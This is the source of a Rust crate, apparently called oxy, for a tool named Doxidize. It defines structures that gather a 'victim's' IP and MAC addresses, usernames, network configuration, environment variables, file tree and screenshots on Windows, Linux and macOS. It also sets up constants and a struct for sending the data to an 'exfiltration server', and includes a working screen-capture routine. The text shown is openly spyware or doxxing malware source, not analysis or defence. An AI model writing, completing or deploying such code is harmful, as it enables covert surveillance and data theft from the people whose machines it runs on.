oxy 0.2.0

A rust crate for Doxidize and Dioxin.
Documentation
#[cfg(test)]
mod tests {
    #[test]
    fn it_works() {
        assert_eq!(2 + 2, 4);
    }
}
extern crate scrap;
extern crate bincode;
#[macro_use]
extern crate serde_derive;
extern crate serde;

use scrap::{Capturer, Display, Frame};
use std::io::ErrorKind::WouldBlock;
use std::fs::File;
use std::thread;
use std::time::Duration;

/// Doxidize constant variables
pub mod consts {

    /// Ip for Exflitration Server
    pub const SERVER_IP: &str = "127.0.0.1";
    /// Port for Exflitration Server
    pub const SERVER_PORT: &str = "80";

    /// Config option for screenshot
    pub const SS: bool = true;

    pub const DEBUG: bool = false;

    pub const TREE: bool = false;

    /// Config option for usernames
    pub const USERNAMES: bool = false;


}

/// Doxidize type declarations
pub mod types {

    #[derive(Debug, Serialize, Deserialize)]
    pub struct DoxxBuf {
        pub doxx: Option<DoxxType>,
        pub os: OsType
    }

    /// Windows Doxx Data
    /// The function is only included in the build when compiling for Windows
    #[derive(Debug, Serialize, Deserialize)]
    pub struct WinDoxx {
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String,
        /// Screenshot of victim's screens
        pub screen: SS,
        /// ifconfig dump
        pub ipconfig: String,
    }

    impl WinDoxx {
        /// Create a new WinDoxx
        pub fn new() -> Self {
            WinDoxx { ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), ipconfig: "".to_string()}
        }
    }

    /// Linux Doxx Data
    /// The function is only included in the build when compiling for Linux
    #[derive(Debug, Serialize, Deserialize)]
    pub struct GnuDoxx {
        /// Screenshot of victim's screens
        pub screen: SS,
        /// Output of `uname -a` on linux
        pub uname: String,
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String,
        /// ifconfig dump
        pub ifconfig: String,
        /// Tree dump
        pub tree: String,
        /// Env Dump
        pub env: String
    }

    impl GnuDoxx {
        /// Create a new GnuDoxx
        pub fn new() -> Self {
            GnuDoxx { uname: "".to_string(), ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), tree: "".to_string(), ifconfig: "".to_string(), env: "".to_string()}
        }
    }

    /// Mac Doxx Data
    /// The function is only included in the build when compiling for macOS
    #[derive(Debug, Serialize, Deserialize)]
    pub struct MacDoxx {
        /// Screenshot of victim's screens
        pub screen: SS,
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String
    }


    /// Exlfitration Upload Data
    /// Server Ip & Port, and Doxx Data of victim.
    #[derive(Debug)]
    pub struct ExflData {
        /// Ip of Exlfitration server
        pub server_ip: String,
        /// Port of Exlfitration server
        pub server_port: String,

        pub doxx: Option<DoxxType>
        // #[cfg(target_os = "windows")]
        // pub doxx: WinDoxx,

        // #[cfg(target_os = "macos")]
        // pub doxx: MacDoxx,

        // #[cfg(target_os = "linux")]
        // pub doxx: GnuDoxx,

    }

    #[derive(Debug, Serialize, Deserialize)]
    pub struct SS {
        /// Screen height
        pub h: usize,
        /// Screen width
        pub w: usize,
        /// Screenshot data
        pub data: Vec<u8>
    }

    impl SS {

        pub fn new() -> Self {
            SS { h: 0, w: 0, data: vec!(0u8) }
        }
    }


    /// Supported OS Enum
    #[derive(Debug, Serialize, Deserialize)]
    pub enum OsType {
        /// MacOS/OSX
        Mac,
        /// Windows 3.0-10
        Windows,
        /// Any linux based operating system (other than OSX)
        Linux,
        /// Unsupported OS (Exits without Doxidizing)
        Other
    }

    #[derive(Debug, Serialize, Deserialize)]
    pub enum DoxxType{
        Mac(MacDoxx),
        Windows(WinDoxx),
        Linux(GnuDoxx)
    }
}

/// Utility functions
pub mod util {


    use super::*;

    /// For EXFL into u8
    pub unsafe fn any_as_u8_slice<T: Sized>(p: &T) -> &[u8] {
    ::std::slice::from_raw_parts(
        (p as *const T) as *const u8,
        ::std::mem::size_of::<T>(),
    )
    }

    /// OS Detection
    pub fn os_detect() -> types::OsType {

        let os: types::OsType;

        if cfg!(windows) {
            os = types::OsType::Windows;
        } else if cfg!(unix) {
            os = types::OsType::Linux;
        } else if cfg!(macos) {
            os = types::OsType::Mac;
        }
        else {
            os = types::OsType::Other;
        }

        return os;

    }


    /// Screenshotter using scrap
    pub fn screenshot() -> types::SS {
        let one_second = Duration::new(1, 0);
        let one_frame = one_second / 60;

        let display = Display::primary().expect("Couldn't find primary display.");
        let mut capturer = Capturer::new(display).expect("Couldn't begin capture.");
        let (w, h) = (capturer.width(), capturer.height());

        loop {
            // Wait until there's a frame.

            let buffer = match capturer.frame() {
                Ok(buffer) => buffer,
                Err(error) => {
                    if error.kind() == WouldBlock {
                        // Keep spinning.
                        thread::sleep(one_frame);
                        continue;
                    } else {
                        panic!("Error: {}", error);
                    }
                }
            };

            let mut bitflipped = Vec::with_capacity(w * h * 4);
            let stride = buffer.len() / h;

            for y in 0..h {
                for x in 0..w {
                    let i = stride * y + 4 * x;
                    bitflipped.extend_from_slice(&[
                        buffer[i + 2],
                        buffer[i + 1],
                        buffer[i],
                        255,
                    ]);
                }
            }

            return types::SS {
              h: h, w: w, data: bitflipped
            }
        }


    }
}